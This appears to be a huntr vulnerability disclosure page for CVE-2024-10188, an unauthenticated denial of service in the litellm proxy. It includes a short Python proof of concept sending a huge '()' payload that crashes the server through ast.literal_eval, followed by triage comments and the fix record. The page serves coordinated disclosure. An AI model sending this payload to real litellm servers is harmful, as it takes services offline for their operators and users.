

Unauth DOS on litellm in [berriai/litellm](#)

✓ Valid

Reported on Aug 30th 2024

Description

litellm use `ast.literal_eval` to parse user input, including the one from un-authenticated user. according to <https://github.com/python/cpython/pull/95919> , the function is not safe and prone to DOS attacks. Thus unauth user of litellm can crash litellm python server.

Proof of Concept

run a litellm normally, then send the payload to any endpoint that have `user_api_key_auth` middleware, such as

```
import requests
payload = '()' * 1000000
response = requests.post('http://0.0.0.0:4000/cache/delete', data=payload)
```

Then you can see from the server log side:

```
INFO:      Started server process [44987]
INFO:      Waiting for application startup.

#-----#
#                                           #
#      'This feature doesn't meet my needs because...'      #
#      https://github.com/BerriAI/litellm/issues/new        #
#                                           #
#-----#

Thank you for using LiteLLM! - Krrish & Ishaan

Give Feedback / Get Help: https://github.com/BerriAI/litellm/issues/new

All necessary views exist!
Alerting: Initializing Weekly/Monthly Spend Reports
INFO:      Application startup complete.
INFO:      Uvicorn running on http://0.0.0.0:4000 (Press CTRL+C to quit)
```

```
fish: Job 1, 'python3 ./proxy_cli.py' terminated by signal SIGSEGV (Address boundar
```

The server crashed for SIGSEGV segmentation fault.

Impact

Unauth attacker can DOS on litellm server.

Occurrences

 http_parsing_utils.py L31

unauth user data can flow here. This function is not safe under dos attack.

References

- <https://github.com/python/cpython/pull/95919>

 We are processing your report and will contact the **berriai/litellm** team within 24 hours. a year ago



huntr-helper commented a year ago

Admin

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Lack of rate limiting issues.



oicu0619 commented a year ago

Researcher

this is not a rate limiting stuff , one request will cause the python server to crash.

 We have contacted a member of the **berriai/litellm** team and are waiting to hear back a year ago

 This report has now been passed to internal triage and should be resolved within 14 days. a year ago



Ethan Silvas commented a year ago

Admin

Unable to replicate this as I am getting this error:

```
{"detail": "Cache Delete Failed(Expecting value: line 1 column 1 (char 0))"}
```

Please provide more information on how you've setup your environment, enabled caching, etc. because even on version 1.44.11 I'm unable to execute this and to run your PoC it does require an authorization bearer token header.



oicu0619 commented a year ago

Researcher

The POC works under latest version of python3.10 on linux.

Different version of python have difference implementation of `ast.literal_eval`, so the POC is not the same also. But the python documentation says that it is general no unsafe to use `ast.literal_eval` to parse arbitrary input (<https://github.com/python/cpython/pull/95919>).



Ethan Silvas validated this vulnerability a year ago

Able to reproduce this with python 3.10. Marking valid since the vulnerability is fixable within the `litellm` source code and `litellm` supports python 3.10.

\$ **oicu0619** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-10188 assigned to this report. a year ago



We have notified the **berriai/litellm** maintainers about this report in their weekly follow-up a year ago



We have sent a warning to the **berriai/litellm** team to inform them that this report will be published in 48 hours a year ago



This vulnerability has now been published a year ago



Krish Dholakia marked this as fixed in **1.53.1** with commit **21156f** a year ago

\$ **Krish Dholakia** has been awarded the fix bounty ✓

\$ `http_parsing_utils.py#L31` has been validated ✓



Krish Dholakia commented a year ago

Maintainer

Can this ticket please be closed out?



CVE-2024-10188 has now been published 10 months ago

[Sign in](#) to join this conversation

CVE

CVE-2024-10188

Published

Vulnerability Type

CWE-400: Denial of Service

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

git 26c03c9

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



`oicu0619`

@oicu0619

LIGHTWEIGHT



Fixed by



Krish Dholakia

@krrishdholakia

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)